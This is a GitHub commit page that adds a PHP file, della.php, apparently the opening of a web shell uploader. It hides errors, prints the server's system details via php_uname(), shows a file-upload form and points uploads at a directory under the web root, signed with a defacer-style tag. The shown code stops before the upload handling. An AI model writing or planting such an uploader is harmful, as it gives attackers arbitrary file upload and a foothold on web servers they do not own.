Skip to content

Commit fcde4af

Browse files
Create della.php
1 parent e256643 commit fcde4af

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

sc/html/della.php

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
<?php
2+
error_reporting(0);
3+
ob_start();
4+
session_start();
5+
6+
// Menghancurkan sesi jika halaman di-refresh
7+
session_destroy();
8+
session_start();
9+
10+
if (isset($_POST['reset'])) {
11+
session_destroy();
12+
header("Location: ".$_SERVER['PHP_SELF']);
13+
}
14+
15+
if (!isset($_SESSION['count'])) {
16+
$_SESSION['count'] = 0;
17+
} else {
18+
$_SESSION['count']++;
19+
}
20+
21+
echo "<meta name='viewport' content='width=device-width, initial-scale=1.0'>";
22+
echo "<div style='color: black; opacity: 0.3; font-size: 2vw; position: fixed; bottom: 25px; left: 25px; z-index: 2; font-weight: bold; user-select: none; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none;'>&copy; YOGAK B4DUT; <span id='waktu'></span></div>";
23+
echo "<script src='assets/code/times.js'></script>";
24+
echo "<b><span class='select'>" . php_uname() . "</span></b>";
25+
echo "<br /><br /><center><form method='post' enctype='multipart/form-data'>
26+
<input type='file' name='file'>
27+
<br /><br />
28+
<input type='submit' name='upload' value='UPLOAD'>
29+
</form></center>";
30+
ob_flush();
31+
32+
$root = $_SERVER['DOCUMENT_ROOT'];
33+
$upload_dir = $root . '/nix';
34+

0 commit comments

Comments
 (0)